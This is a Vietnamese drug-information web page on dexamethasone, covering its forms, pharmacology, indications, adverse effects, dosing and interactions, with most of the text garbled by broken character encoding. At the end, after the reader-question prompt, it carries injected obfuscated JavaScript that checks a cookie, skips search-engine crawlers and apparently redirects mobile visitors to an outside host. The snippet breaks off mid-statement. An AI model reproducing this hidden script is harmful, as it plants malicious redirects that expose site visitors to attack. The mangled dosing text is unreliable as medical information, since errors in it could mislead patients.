DEXAMETHASON Glucocorticoid.

Tracuuthuoctay chia sa?� bA�i via??tA�DEXAMETHASON Glucocorticoid.DEXAMETHASON Glucocorticoid.A�lA� gA�? giA? thua��c bao nhiA?u? cha�� A�a��nh, cA?ch sa�� da�?ng, tA?c da�?ng pha�? thua��c DEXAMETHASONLia��u phA?p khA?ng A�a?�c hia��u ba?�ng steroid, khi ca?�n A�ia�?u tra�� tA�ch ca��c, nh?� A�ia�?u tra�� tra??ng thA?i hen, ba��nh da�� a��ng na?�ng, pha??n a��ng sau truya�?n mA?u, viA?m thanh qua??n rA�t.DA?ng pha��i ha�?p va��i cA?c cA?ch A�ia�?u tra�� khA?c trong phA? nA?o, trong sa��c do nhia�?u nguyA?n nhA?n khA?c nhau.PhA?ng nga��a ba?�ng steroid trong pha?�u thua?�t khi da�� tra�? glucocorticoid A�?�a�?c coi lA� khA?ng A�a��, tra�� suy va�? tuya??n th?�a�?ng tha?�n tiA?n phA?t (ba��nh Addison).DA?ng dexamethason tr?�a��c khi sinh trong chuya�?n da?? tr?�a��c ka�? ha??n (gia�?a 24 vA� 34 tua?�n) A�a�? thA?c A�a?�y quA? trA�nh tr?�a�Yng thA�nh thai (vA� da�? pha��i, ma??ch mA?u nA?o).Lia��u phA?p ba�� tra�? ba?�ng dexamethason trong A�ia�?u tra�� viA?m mA�ng nA?o pha?? ca?�u.A?ia�?u tra�� ta??i cha��: TiA?m trong vA� quanh kha��p a�Y ng?�a�?i ba��nh viA?m kha��p da??ng tha??p, thoA?i hA?a x?�??ng kha��p, viA?m quanh kha��p, viA?m ma�?m la��i ca?�u.CA?n A�?�a�?c dA?ng ta??i cha�� trong ma��t sa�� tr?�a�?ng ha�?p ba��nh lA? tai mA�i ha�?ng,nhA?n khoa, ngoA�i da.

DEXAMETHASON

TA?n chung qua��c ta??: Dexamethasone.

MA? ATC: A01A C02, C05A A09, D07A B19, D07X B05, D10A A03, H02A B02, R01A D03, S01B A01, S01C B01, S02B A06, S03B A01.

Loa??i thua��c: Glucocorticoid.

GiA? thua��c DEXAMETHASON: BA�nh lua?�n cua��i bA�i via??t A�a�? A�?�a�?c thA?ng bA?o giA?

Da??ng thua��c vA� hA�m l?�a�?ng

  • Ca��n nga�?t: 0,1 mg/ml.
  • ViA?n nA�n: 0,5 mg, 0,75 mg, 4 mg.
  • Dung da��ch tiA?m dexamethason natri phosphat: 4 mg/ml tiA?m tA�nh ma??ch, tiA?m ba??p, tiA?m vA�o kha��p, tiA?m vA�o th?�??ng ta��n, tiA?m vA�o mA? ma�?m.
  • Dung da��ch tiA?m dexamethason natri phosphat 24 mg/ml, cha�� dA?ng tiA?m tA�nh ma??ch.
  • Ha��n da��ch tiA?m dexamethason acetat 8 mg/ml, cha�� dA?ng tiA?m ba??p, tiA?m vA�o kha��p, tiA?m vA�o th?�??ng ta��n, tiA?m vA�o mA? ma�?m. Tuya��t A�a��i khA?ng tiA?m tA�nh ma??ch.
  • Thua��c tra ma??t: Dung da��ch dexamethason natri phosphat 0,1%. Thua��c ma�? 0,05%.
  • Thua��c tai – mA�i – ha�?ng: Dung da��ch nha�? tai 0,1%, dung da��ch phun mA�i 0,25%.
  • Thua��c dA?ng ngoA�i da: Kem dexamethason natri phosphat 1 mg/1 g. Thua��c phun 10 mg/25 g.

ChA? A?:

  • HA�m l?�a�?ng vA� lia�?u l?�a�?ng ca��a dexamethason natri phosphat A�?�a�?c tA�nh A�theo dexamethason phosphat; 4 mg dexamethason phosphat t?�??ng a��ng va��i 3,33 mg dexamethason base.
  • HA�m l?�a�?ng vA� lia�?u l?�a�?ng ca��a dexamethason acetat A�?�a�?c tA�nh theo dexamethason base.

D?�a�?c lA? vA� c?? cha?? tA?c da�?ng

  • Dexamethason lA� fluomethylprednisolon, glucocorticoid ta��ng ha�?p, ha?�u nh?� khA?ng tan trong n?�a��c. CA?c glucocorticoid tA?c da�?ng ba?�ng cA?ch ga??n ka??t vA�o tha�? tha�? a�Y ta?? bA�o, chuya�?n va�� vA�o nhA?n ta?? bA�o vA� a�Y A�A? A�A? tA?c A�a��ng A�a??n 1 sa�� gen A�?�a�?c da��ch mA?. CA?c glucocorticoid cA�ng cA?n cA? ma��t sa�� tA?c da�?ng tra��c tia??p, cA? tha�? khA?ng qua trung gian ga??n ka??t vA�o tha�? tha�?. Dexamethason cA? cA?c tA?c da�?ng chA�nh ca��a glucocorticoid lA� cha��ng viA?m, cha��ng da�� a��ng vA� a��c cha?? mia��n da��ch, cA?n tA?c da�?ng A�a??n cA?n ba?�ng A�ia��n gia??i thA� ra??t A�t. Va�? hoa??t la��c cha��ng viA?m, dexamethason ma??nh h??n hydrocortison 30 la?�n, ma??nh h??n prednisolon 7 la?�n.
  • Dexamethason A�?�a�?c dA?ng ua��ng, tiA?m ba??p, tiA?m ta??i cha��, hA�t hoa?�c bA?i ta??i cha��, A�a�? A�ia�?u tra�� cA?c ba��nh mA� corticosteroid A�?�a�?c cha�� A�a��nh (tra�� suy tuya??n th?�a�?ng tha?�n) nh?� sa��c do cha??y mA?u, do cha??n th?�??ng, do pha?�u thua?�t, hoa?�c do nhia��m khua?�n, phA? nA?o do u nA?o, cA?c ba��nh viA?m kha��p vA� mA? ma�?m nh?� viA?m kha��p da??ng tha??p, A�ia�?u tra�� nga??n ngA�y da�� a��ng ca??p tA�nh ta�� kha�?i, nh?� phA? tha?�n kinh – ma??ch, hoa?�c cA?c giai A�oa??n ca??p, na?�ng lA?n ca��a cA?c ba��nh da�� a��ng ma??n tA�nh, nh?� hen pha?? qua??n hoa?�c ba��nh huya??t thanh. DA?ng dexamethason pha??i ka??t ha�?p va��i A�ia�?u tra�� khA?ng sinh toA�n thA?n vA� cA?c bia��n phA?p ha�� tra�?, khi ca?�n. Dexamethason cA�ng A�?�a�?c dA?ng ta??i cha�� A�a�? bA?i vA�o ka??t ma??c, a��ng tai ngoA�i hoa?�c niA?m ma??c mA�i A�a�? A�ia�?u tra�� tria��u cha��ng viA?m hay da�� a��ng a�Y a��ng tai ngoA�i hoa?�c ma??t. Lia��u phA?p corticosteroid tra ma??t khA?ng cha�?a kha�?i ba��nh nA?n ca?�n xA?c A�a��nh hoa?�c loa??i tra�� nguyA?n nhA?n viA?m, na??u cA? tha�?.
  • Va��i lia�?u tA?c da�?ng d?�a�?c lA?, dexamethason dA?ng toA�n thA?n gA?y a��c cha?? tuya??n yA?n gia??i phA?ng corticotropin (ACTH), lA�m cho va�? tuya??n th?�a�?ng tha?�n nga��ng tia??t hormon corticosteroid na��i sinh (gA?y suy va�? tuya??n A�th?�a�?ng tha?�n tha�� phA?t). Na??u ca?�n thia??t pha??i A�ia�?u tra�� ba?�ng glucocorticoid A�lA?u dA�i, cha�� dA?ng thua��c va��i lia�?u tha??p nha??t cA? tha�? vA� th?�a�?ng cha�� dA?ng nh?�ma��t thua��c ha�� tra�? cho A�ia�?u tra�� khA?c. Khi nga��ng lia��u phA?p toA�n thA?n va��i lia�?u d?�a�?c lA?, pha??i gia??m lia�?u da?�n, cho A�a??n khi cha��c nA?ng ca��a tra�?c d?�a��iA�a��i – yA?n – th?�a�?ng tha?�n A�?�a�?c ha��i pha�?c.

D?�a�?c A�a��ng ha�?c

  • NhA�n chung, cA?c corticoid A�?�a�?c ha??p thu ta��t ta�� A�?�a�?ng tiA?u hA?a, vA� cA�ng A�?�a�?c ha??p thu ta��t a�Y ngay va�� trA� dA?ng thua��c vA� sau A�A? A�?�a�?c phA?n ba�� vA�o ta??t ca?? cA?c mA? trong c?? tha�?. Thua��c qua nhau thai vA� ma��t l?�a�?ng nha�? qua sa�?a. Sau khi tiA?m, dexamethason natri photphat tha��y phA?n nhanh thA�nh dexamethason. Khi tiA?m tA�nh ma??ch lia�?u 20 mg, na��ng A�a�� A�a��nh xua??t hia��n trong huya??t t?�??ng sau 5 phA?t. Thua��c cA�ng liA?n ka??t va��i protein huya??t t?�??ng (ta��i 77%) vA� cha�� ya??u lA� albumin. Thua��c A�?�a�?c ha??p thu cao a�Y gan, tha?�n vA� cA?c tuya??n th?�a�?ng tha?�n. Chuya�?n hA?a a�Y gan cha?�m vA� tha??i tra�� cha�� ya??u qua n?�a��c tia�?u, ha?�u ha??t a�Y da??ng steroid khA?ng liA?n ha�?p. Na��a A�a�?i huya??t t?�??ng lA� 3,5 – 4,5 gia�?, nh?�ng khi nA?i A�a??n tA?c da�?ng, th?�a�?ng dA?ng na��a A�a�?i sinh ha�?c. Na��a A�a�?i sinh ha�?c ca��a dexamethason lA� 36 – 54 gia�?, do va?�y thua��c A�a?�c bia��t thA�ch ha�?p va��i cA?c ba��nh ca?�n cA? glucocorticoid tA?c da�?ng liA?n ta�?c.

Cha�� A�a��nh thua��cA�DEXAMETHASON

  • Lia��u phA?p khA?ng A�a?�c hia��u ba?�ng steroid, khi ca?�n A�ia�?u tra�� tA�ch ca��c, nh?� A�ia�?u tra�� tra??ng thA?i hen, ba��nh da�� a��ng na?�ng, pha??n a��ng sau truya�?n mA?u, viA?m thanh qua??n rA�t.
  • DA?ng pha��i ha�?p va��i cA?c cA?ch A�ia�?u tra�� khA?c trong phA? nA?o, trong sa��c do nhia�?u nguyA?n nhA?n khA?c nhau.
  • PhA?ng nga��a ba?�ng steroid trong pha?�u thua?�t khi da�� tra�? glucocorticoid A�?�a�?c coi lA� khA?ng A�a��, tra�� suy va�? tuya??n th?�a�?ng tha?�n tiA?n phA?t (ba��nh Addison).
  • DA?ng dexamethason tr?�a��c khi sinh trong chuya�?n da?? tr?�a��c ka�? ha??n (gia�?a 24 vA� 34 tua?�n) A�a�? thA?c A�a?�y quA? trA�nh tr?�a�Yng thA�nh thai (vA� da�? pha��i, ma??ch mA?u nA?o).
  • Lia��u phA?p ba�� tra�? ba?�ng dexamethason trong A�ia�?u tra�� viA?m mA�ng nA?o pha?? ca?�u.
  • A?ia�?u tra�� ta??i cha��: TiA?m trong vA� quanh kha��p a�Y ng?�a�?i ba��nh viA?m kha��p da??ng tha??p, thoA?i hA?a x?�??ng kha��p, viA?m quanh kha��p, viA?m ma�?m la��i ca?�u.
  • CA?n A�?�a�?c dA?ng ta??i cha�� trong ma��t sa�� tr?�a�?ng ha�?p ba��nh lA? tai mA�i ha�?ng,nhA?n khoa, ngoA�i da.

Cha��ng cha�� A�a��nh

  • QuA? ma?�n va��i dexamethason hoa?�c cA?c ha�?p pha?�n khA?c ca��a cha?? pha?�m; nhia��m na??m toA�n thA?n, nhia��m virus ta??i cha�� hoa?�c nhia��m khua?�n lao, la?�u ch?�a kia�?m soA?t A�?�a�?c ba?�ng thua��c khA?ng khua?�n vA� kha��p ba�� ha��y hoa??i na?�ng.

Tha?�n tra�?ng

  • a�Y ng?�a�?i ba��nh nhia��m khua?�n hoa?�c nghi nga�? nhia��m khua?�n, pha??i A�a?�c bia��t chA? A? vA� A�ia�?u tra�� ba?�ng cA?c thua��c khA?ng khua?�n A�a?�c hia��u lA� ca?�n thia??t tr?�a��c tiA?n, do tA?c da�?ng a��c cha?? mia��n da��ch nA?n dexamethason cA? tha�? gA?y nA?n nha�?ng c??n ka��ch phA?t vA� lan ra��ng nhia��m khua?�n. Tuy nhiA?n, ng?�a�?i viA?m mA�ng nA?o nhia��m khua?�n ca?�n pha??i dA?ng dexamethason tr?�a��c khi dA?ng cA?c thua��c khA?ng khua?�n A�a?�c hia��u A�a�? A�a�? phA?ng viA?m nA?o do pha??n a��ng va��i cA?c ma??nh xA?c vi khua?�n A�A? ba�� thua��c khA?ng khua?�n ha��y dia��t. a�Y ng?�a�?i loA?ng x?�??ng, hoa?�c ma��i pha?�u thua?�t rua��t, loa??n tA?m tha?�n, loA�t da?? dA�y tA? trA�ng, A�A?i thA?o A�?�a�?ng, tA?ng huya??t A?p, suy tim, suy tha?�n, lao, thA� ca?�n pha??i theo dA�i cha?�t cha?? vA� A�ia�?u tra�� tA�ch ca��c cA?c ba��nh A�A? na??u ca?�n pha??i dA?ng dexamethason.

Tha�?i ka�? mang thai

  • CA?c glucocorticoid cA? kha?? nA?ng gA?y quA?i thai a�Y A�a��ng va?�t. Tuy nhiA?n,A�ia�?u A�A? khA?ng hoA�n toA�n A�A?ng va��i ng?�a�?i. Thua��c cA? tha�? lA�m gia??m tra�?ng l?�a�?ng nhau thai vA� tra�?ng l?�a�?ng thai nhi. Thua��c cA�ng cA? tha�? gA?y a��c cha?? tuya??n th?�a�?ng tha?�n a�Y tra?� s?? sinh na??u ng?�a�?i ma?? dA?ng thua��c kA�o dA�i.
  • DA?ng glucocorticoid tr?�a��c khi A�a?� non A�A? cha��ng minh cA? kha?? nA?ng ba??o va�� cha��ng nguy c?? ha��i cha��ng suy hA? ha??p s?? sinh vA� ba��nh loa??n sa??n pha��i – pha?? qua??n do A�a?� non.

Tha�?i ka�? cho con bA?

Dexamethason vA�o sa�?a ma?? vA� cA? nguy c?? A�a��i va��i tra?� bA? ma??.

TA?c da�?ng khA?ng mong mua��n (ADR)

  • Th?�a�?ng ga?�p, ADR > 1/100
  • Ra��i loa??n A�ia��n gia??i: Ha?? kali huya??t, gia�? natri vA� n?�a��c gA?y tA?ng huya??t A?p vA� phA? na�?.
  • Na��i tia??t vA� chuya�?n hA?a: Ha��i cha��ng da??ng Cushing, gia??m bA�i tia??t ACTH, teo tuya??n th?�a�?ng tha?�n, gia??m dung na??p glucid, ra��i loa??n kinh nguya��t.
  • C?? x?�??ng: Teo c?? ha��i pha�?c, loA?ng x?�??ng, gA?y x?�??ng ba��nh lA?, na��t A�a��t sa��ng, hoa??i ta�� x?�??ng vA? khua?�n.
  • TiA?u hA?a: LoA�t da?? dA�y tA? trA�ng, loA�t cha??y mA?u, loA�t tha��ng, viA?m ta�?y ca??p.
  • Da: Teo da, ban A�a�?, ba?�m mA?u, ra?�m lA?ng.
  • Tha?�n kinh: Ma??t nga��, sa??ng khoA?i.
  • A?t ga?�p, 1/1000 < ADR < 1/100
  • QuA? ma?�n, A�A?i khi gA?y choA?ng pha??n va��, tA?ng ba??ch ca?�u, huya??t kha��i ta??c ma??ch, tA?ng cA?n, ngon mia��ng, bua��n nA?n, khA? a�Y, na??c, A?p xe vA? khua?�n.
  • Tria��u cha��ng vA� cA?c da??u hia��u nga��ng thua��c: Gia??m quA? nhanh lia�?u thua��c sau khi A�ia�?u tra�� kA�o dA�i cA? tha�? da?�n ta��i suy th?�a�?ng tha?�n ca??p, ha?? huya??t A?p vA� cha??t. Nga��ng thua��c A�A?i khi gia��ng nh?� tA?i phA?t ba��nh.

Lia�?u l?�a�?ng vA� cA?ch dA?ng

  • Hoa??t tA�nh cha��ng viA?m ca��a 750 microgam dexamethason t?�??ng A�?�??ng vA�o khoa??ng 5 mg prednisolon
  • Dexamethason: ViA?n, ca��n nga�?t, dung da��ch hoa?�c dung da��ch A�a?�m A�a?�c.
  • Lia�?u ban A�a?�u ng?�a�?i la��n: Ua��ng 0,75 – 9 mg/ngA�y, tA?y theo ba��nh vA� th?�a�?ng chia lA�m 2 – 4 lia�?u.
  • Tra?� em: Ua��ng 0,024 – 0,34 mg/kg/ngA�y, hoa?�c 0,66 – 10 mg/m2/ngA�y chia lA�m 4 lia�?u.
  • Dexamethason acetat: TiA?m ba??p, trong kha��p, trong ta��n th?�??ng hoa?�c trong mA? ma�?m.
  • KhA?ng tiA?m ba??p khi ca?�n cA? tA?c da�?ng ngay vA� nga??n.
  • Lia�?u tiA?m ba??p ban A�a?�u thA?ng th?�a�?ng a�Y ng?�a�?i la��n: 8 – 16 mg. Na??u ca?�n, cA? tha�? cho thA?m lia�?u cA?ch nhau 1 – 3 tua?�n.
  • TiA?m trong ta��n th?�??ng: Lia�?u thA?ng th?�a�?ng lA� 0,8 – 1,6 mg/n??i tiA?m.
  • TiA?m trong kha��p hoa?�c mA? ma�?m: Lia�?u th?�a�?ng dA?ng 4 – 16 mg, tA?y theo va�� trA� vA?ng ba��nh vA� ma��c A�a�� viA?m. Lia�?u cA? tha�? la?�p la??i, cA?ch nhau 1 – 3 tua?�n.
  • Lia�?u dexamethason acetat cho tra?� em d?�a��i 12 tua��i ch?�a A�?�a�?c xA?c A�a��nh.
  • Dexamethason natri phosphat: HA�t qua mia��ng, tiA?m trong kha��p, trong bao hoa??t da��ch, trong ta��n th?�??ng mA? ma�?m, tiA?m ba??p hoa?�c tiA?m tA�nh ma??ch hoa?�c truya�?n tA�nh ma??ch.
  • Khi truya�?n tA�nh ma??ch, thua��c cA? tha�? A�?�a�?c hA?a loA?ng trong dung da��ch tiA?m A�dextrose hoa?�c natri clorid.
  • Lia�?u l?�a�?ng dexamethason natri phosphat A�?�a�?c tA�nh theo dexamethason phosphat.
  • Lia�?u tiA?m ba??p hoa?�c tA�nh ma??ch tA?y thua��c vA�o ba��nh vA� A�A?p a��ng ca��a ng?�a�?i ba��nh, nh?�ng th?�a�?ng trong pha??m vi ta�� 0,5 A�a??n 24 mg/ngA�y.
  • Tra?� em cA? tha�? dA?ng 6 – 40 microgam/kg hoa?�c 0,235 – 1,2 mg/m2, tiA?m ba??p hoa?�c tiA?m tA�nh ma??ch, 1 hoa?�c 2 la?�n/ngA�y.

Sa��c (do cA?c nguyA?n nhA?n):

  • Lia�?u 1 – 6 mg/kg dexamethason phosphat tiA?m tA�nh ma??ch 1 la?�n hoa?�c 40 mg tiA?m tA�nh ma??ch cA?ch nhau 2 – 6 gia�?/la?�n, na??u ca?�n. Ma��t cA?ch khA?c, lA?c
  • A�a?�u tiA?m tA�nh ma??ch 20 mg, sau A�A? truya�?n tA�nh ma??ch liA?n ta�?c 3 mg/kg/24 gia�?. Lia��u phA?p lia�?u cao pha??i A�?�a�?c tia??p ta�?c cho ta��i khi ng?�a�?i ba��nh a��n A�a��nh vA� th?�a�?ng khA?ng A�?�a�?c v?�a�?t quA? 48 – 72 gia�?.
  • PhA? nA?o:
  • TiA?m tA�nh ma??ch 10 mg dexamethason phosphat, tia??p theo tiA?m ba??p 4 mg cA?ch nhau 6 gia�?/la?�n, cho ta��i khi ha??t tria��u cha��ng phA? nA?o. A?A?p a��ng th?�a�?ng rA� trong vA?ng 12 – 24 gia�? vA� lia�?u l?�a�?ng cA? tha�? gia??m sau 2 – 4 ngA�y vA� nga��ng da?�n trong tha�?i gian ta�� 5 – 7 ngA�y. Khi cA? tha�?, thay tiA?m ba??p ba?�ng ua��ng dexamethason (1 – 3 mg/la?�n, ua��ng 3 la?�n ma��i ngA�y). A?a��i va��i ng?�a�?i ba��nh cA? u nA?o khA?ng ma�� A�?�a�?c hoa?�c tA?i phA?t, lia�?u duy trA� dexamethason phosphat 2 mg, tiA?m ba??p hoa?�c tA�nh ma??ch, 2 hoa?�c 3 la?�n ma��i ngA�y, cA? tha�? cA? hia��u qua?? lA�m gia??m tria��u cha��ng tA?ng A?p la��c na��i sa�?.
  • A?a�? phA?ng ma??t thA�nh la��c vA� di cha��ng tha?�n kinh trong viA?m mA�ng nA?o do H. influenzae hoa?�c pha?? ca?�u: 0,15 mg/kg dexamethason phosphat, tiA?m tA�nh ma??ch 4 la?�n/ngA�y, tiA?m cA?ng lA?c hoa?�c trong vA?ng 20 phA?t tr?�a��c khi dA?ng lia�?u khA?ng sinh A�a?�u tiA?n vA� tia??p ta�?c trong 4 ngA�y.
  • Da�� phA?ng ha��i cha��ng suy tha�Y a�Y tra?� s?? sinh:
  • TiA?m ba??p cho ma??, ba??t A�a?�u A�t nha??t 24 gia�? hoa?�c sa��m h??n (ta��t nha??t 48 – 72 gia�?) tr?�a��c khi chuya�?n da?? A�a?� sa��m: 6 mg cA?ch nhau 12 gia�?/la?�n, trong 2ngA�y.
  • Ba��nh da�� a��ng: Da�� a��ng ca??p tA�nh ta�� a��n A�a��nh hoa?�c A�a�?t ca??p tA�nh ca��a da�� a��ng ma??n.
  • NgA�y A�a?�u, tiA?m ba??p dexamethason phosphat 4 – 8 mg; ngA�y tha�� 2 vA� 3, ua��ng dexamethason 3 mg chia lA�m 2 lia�?u; ngA�y tha�� t?�, ua��ng 1 mg chia lA�m 2 lia�?u; ngA�y tha�� nA?m vA� sA?u, ua��ng ma��i ngA�y 1 lia�?u duy nha??t 0,75 mg, sau A�A? nga��ng.
  • Ba��nh do viA?m:
  • TiA?m trong kha��p: Kha��p ga��i 2 – 4 mg. Kha��p nha�? h??n: 0,8 – 1 mg. Bao hoa??t da��ch: 2 – 3 mg. Ha??ch: 1 – 2 mg. Bao gA?n: 0,4 – 1 mg. MA? ma�?m: 2 – 6 mg. CA? tha�? tiA?m la?�p la??i cA?ch 3 – 5 ngA�y/la?�n (bao hoa??t da��ch) hoa?�c cA?ch 2 – 3 tua?�n/la?�n (kha��p).
  • NguyA?n ta??c chung: Lia�?u dA?ng ca?�n thay A�a��i tA?y theo ta��ng ng?�a�?i ba��nh, da��a trA?n ba��nh ta?�t vA� A�A?p a��ng ca��a ng?�a�?i ba��nh. A?a�? gia??m thia�?u cA?c tA?c da�?ng pha�?, nA?n dA?ng lia�?u nha�? nha??t cA? hia��u qua?? A�ia�?u tra��.
  • Cha��ng suy th?�a�?ng tha?�n tha�� ca??p vA� thua��c, cA? tha�? do nga��ng thua��c quA? nhanh, vA� cA? tha�? A�?�a�?c ha??n cha?? ba?�ng cA?ch gia??m lia�?u ta�� ta�� sau nhia�?u tua?�n hoa?�c nhia�?u thA?ng tA?y thua��c vA�o lia�?u dA?ng, tha�?i gian A�ia�?u tra��, nh?�ng va?�n cA? tha�? cA?n ta��n ta??i nhia�?u thA?ng sau khi A�A? nga��ng thua��c.
  • A?a��i va��i cA?c thua��c dA?ng ta??i cha�� nh?� cho ma??t, tai mA�i ha�?ng, ngoA�i da … ca?�n xem ka�? h?�a��ng da?�n sa�� da�?ng ca��a ta��ng cha?? pha?�m.

T?�??ng tA?c thua��c

  • CA?c barbiturat, phenytoin, rifampicin, rifabutin, carbamazepin, ephedrin, aminoglutethimid cA? tha�? lA�m tA?ng thanh tha??i corticosteroid nA?n lA�m gia??m tA?c da�?ng A�ia�?u tra��.
  • Corticoid A�a��i khA?ng tA?c da�?ng ca��a cA?c tA?c nhA?n gA?y ha?? A�?�a�?ng huya??t (ka�? ca?? insulin), thua��c ha?? huya??t A?p vA� thua��c la�?i tia�?u. Corticosteroid lA�m tA?ng tA?c da�?ng ha?? kali huya??t ca��a acetazolamid, cA?c thiazid la�?i tia�?u quai, carbenoxolon.
  • Hia��u la��c ca��a cA?c da?�n cha??t cumarin cha��ng A�A?ng mA?u cA? tha�? tA?ng khi dA?ng A�a��ng tha�?i va��i corticoid, nA?n ca?�n kia�?m tra cha?�t cha?? tha�?i gian prothrombin A�a�? trA?nh cha??y mA?u ta�� phA?t.
  • Sa�� thanh tha??i salicylat tA?ng khi dA?ng A�a��ng tha�?i va��i corticoid, vA� va?�y khi nga��ng corticoid da�� ba�� nga�� A�a��c salicylat.
  • CA?c thua��c la�?i tia�?u lA�m gia??m kali huya??t (vA� da�? thiazid, furosemid) vA� amphotericin B cA? tha�? lA�m tA?ng tA?c da�?ng gia??m kali huya??t ca��a glucocorticoid.

A?a�� a��n A�a��nh vA� ba??o qua??n

  • Dexamethason natri phosphat tiA?m ra??t nha??y ca??m va��i nhia��t A�a��, nA?n khA?ng A�?�a�?c tia��t trA?ng thua��c trong na��i ha??p. Ba??o qua??n d?�a��i 25C, trA?nh A?nh sA?ng, khA?ng A�a�? A�A?ng la??nh. Cha�� A�?�a�?c pha loA?ng va��i natri clorid vA� glucose tiA?m khi truya�?n tA�nh ma??ch vA� da��ch truya�?n A�A? pha cha�� dA?ng trong vA?ng 24 gia�?.

T?�??ng ka��

  • Dexamethason natri phosphat t?�??ng ka�� va��i daunorubicin, doxorubicin, vancomycin, khA?ng dA?ng pha��i ha�?p va��i cA?c thua��c nA�y. DexamethasoncA�ng t?�??ng ka�� va��i doxapram hydroclorid vA� glycopyrolat trong b??m tiA?m.

QuA? lia�?u vA� xa�� trA�

  • QuA? lia�?u glucocorticoid gA?y nga�� A�a��c ca??p hoa?�c gA?y cha??t ra??t hia??m. KhA?ng cA? thua��c gia??i A�a��c A�a?�c hia��u. KhA?ng cA? cha�� A�a��nh cho via��c A�ia�?u tra�� nga�� A�a��c ma??n, tra�� tr?�a�?ng ha�?p ng?�a�?i ba��nh quA? nha??y ca??m va��i corticosteroid, gA?y ba��nh lA?; lA?c A�A? ca?�n A�ia�?u tra�� cA?c tria��u cha��ng. ChoA?ng pha??n va�� hoa?�c pha??n a��ng quA? ma?�n cA? tha�? A�?�a�?c A�ia�?u tra�� ba?�ng epinephrin, hA? ha??p nhA?n ta??o vA� aminophylin. Ng?�a�?i ba��nh nA?n A�?�a�?c gia�? a??m vA� yA?n tA�nh.

ThA?ng tin qui cha??

Dexamethason cA? trong danh ma�?c thua��c thia??t ya??u Via��t Nam ban hA�nh la?�n tha�� 4 nA?m 1999.

Thua��c A�a��c ba??ng B.

 

Đọc Thêm:   DOMPERIDON Thuai??i??c chai??i??ng nA?n

Ngua��n d?�a�?c th?� qua��c gia

Tham kha??o hA�nh a??nh cA?c dA?ng thua��c DEXAMETHASON Glucocorticoid.

DEXAMETHASON Glucocorticoid

Vui lA?ng A�a?�t cA?u ha�?i va�? bA�i via??t DEXAMETHASON Glucocorticoid.A�chA?ng tA?i sa?? tra?? la�?i nhanh chA?ngvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new 